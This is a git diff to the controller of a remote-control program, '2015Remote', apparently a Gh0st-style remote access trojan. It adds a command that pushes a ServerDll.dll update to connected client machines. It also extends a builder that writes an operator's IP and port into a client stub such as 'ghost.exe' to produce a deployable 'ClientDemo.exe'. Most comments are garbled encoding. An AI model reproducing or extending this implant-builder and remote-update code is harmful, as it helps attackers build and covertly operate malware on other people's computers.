@@ -637,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage() SendSelectedCommand(&bToken, sizeof(BYTE)); } +char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { + fileSize = 0; + try { + // ļֻģʽ + CFile file(filePath, CFile::modeRead | CFile::typeBinary); + + // ȡļС + fileSize = file.GetLength(); + + // ڴ滺: ͷ+ļС+ļ + char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast(fileSize) + 1]; + if (!buffer) { + return NULL; + } + memcpy(buffer+1, &fileSize, sizeof(ULONGLONG)); + // ȡļݵ + file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast(fileSize)); + buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // ַ + + // ͷڴ + return buffer; + } + catch (CFileException* e) { + // ļ쳣 + TCHAR errorMessage[256]; + e->GetErrorMessage(errorMessage, 256); + e->Delete(); + return NULL; + } + +} + +void CMy2015RemoteDlg::OnOnlineUpdate() +{ + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p + 1, "ServerDll.dll"); + ULONGLONG fileSize = 0; + char *buffer = ReadFileToMemory(path, fileSize); + if (buffer) { + buffer[0] = COMMAND_UPDATE; + SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1); + delete[] buffer; + } + else { + AfxMessageBox("ȡļʧ: "+ CString(path)); + } +} void CMy2015RemoteDlg::OnOnlineDelete() { @@ -975,20 +1035,23 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) CString strToolTipsText; try { - // Ϸݰ - if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) - { - return -1; - } - - LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; - ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); sockaddr_in ClientAddr; memset(&ClientAddr, 0, sizeof(ClientAddr)); int iClientAddrLen = sizeof(sockaddr_in); SOCKET nSocket = ContextObject->sClientSocket; - BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP + BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen); + // Ϸݰ + if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) + { + char buf[100]; + sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr)); + OutputDebugStringA(buf); + return -1; + } + + LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; + ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); strIP = inet_ntoa(ClientAddr.sin_addr); @@ -1008,7 +1071,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strAddr.Format("%d", nSocket); - AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject); + AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject); delete LoginInfor; return S_OK; }catch(...){ diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index f9bff62..d013a9e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -21,17 +21,6 @@ #define CLIENT_EXIT_WITH_SERVER 1 #endif -typedef struct _LOGIN_INFOR -{ - BYTE bToken; // ȡ1½Ϣ - char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ - DWORD dwCPUMHz; // CPUƵ - IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ - char szPCName[MAX_PATH]; // - BOOL bWebCamIsExist; // Ƿͷ - DWORD dwSpeed; // -}LOGIN_INFOR,*PLOGIN_INFOR; - // CMy2015RemoteDlg Ի class CMy2015RemoteDlg : public CDialogEx { @@ -58,7 +47,7 @@ public: VOID InitControl(); //ʼؼ VOID TestOnline(); //Ժ VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject); + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(BOOL bOk, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar(); @@ -83,13 +72,14 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; - CBitmap m_bmOnline[2]; + CBitmap m_bmOnline[3]; afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnOnlineMessage(); afx_msg void OnOnlineDelete(); + afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam); afx_msg void OnNotifyShow(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index a6ade11..cc7c977 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -202,8 +202,10 @@ + + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index cf142e3..b6f5e82 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); -CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0}; - CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) , m_strIP(_T("")) @@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) CDialog::DoDataExchange(pDX); DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); + DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); } @@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk() BYTE * szBuffer=NULL; DWORD dwFileSize; UpdateData(TRUE); + int index = m_ComboExe.GetCurSel(); + CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : ""); + if (file.IsEmpty()) + { + MessageBox("Ч, ɷ!"); + return CDialog::OnOK(); + } + unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN); //////////Ϣ////////////////////// + CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 }; strcpy(g_ConnectAddress.szServerIP,m_strIP); //IP g_ConnectAddress.iPort=atoi(m_strPort); //˿ @@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk() GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p+1, "TestRun.exe"); + strcpy(p+1, file.GetString()); strFile = path; //õǰδļ if (_access(path, 0) == -1) { - MessageBox(CString(path)+"\r\nģ\"TestRun.exe\"!"); + MessageBox(CString(path) + "\r\nģ\"" + file + "\"!"); return CDialog::OnOK(); } @@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk() File.Close(); //дIPͶ˿ ҪѰ0x1234567ʶȻдλ int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD)); + if (iOffset==-1) + { + MessageBox(CString(path) + "\r\nģ\"" + file + "\"֧!"); + return; + } memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); //浽ļ strcpy(p+1, "ClientDemo.exe"); strSeverFile = path; - File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); + DeleteFileA(path); + BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); + if (!r) { + MessageBox(strSeverFile + "\r\n\"" + strSeverFile + "\"ʧ!"); + return CDialog::OnOK(); + } File.Write(szBuffer,dwFileSize); File.Close(); delete[] szBuffer; @@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS for (i = 0; i < iBufferSize; ++i) { for (j = 0; j < iKeySize; j ++) - if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12 + if (szBuffer[i+j] != Key[j]) break; if (j == iKeySize) return i; } return -1; } + + +BOOL CBuildDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: ڴӶijʼ + m_ComboExe.InsertString(0, "TestRun.exe"); + m_ComboExe.InsertString(1, "ghost.exe"); + m_ComboExe.SetCurSel(0); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 6c54dd2..6b3d241 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -22,4 +22,6 @@ public: CString m_strIP; CString m_strPort; afx_msg void OnBnClickedOk(); + virtual BOOL OnInitDialog(); + CComboBox m_ComboExe; }; diff --git a/server/2015Remote/res/delete.bmp b/server/2015Remote/res/delete.bmp new file mode 100644 index 0000000..635f56b Binary files /dev/null and b/server/2015Remote/res/delete.bmp differ diff --git a/server/2015Remote/res/update.bmp b/server/2015Remote/res/update.bmp new file mode 100644 index 0000000..1d3e86f Binary files /dev/null and b/server/2015Remote/res/update.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 89cd1c6..429bc81 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ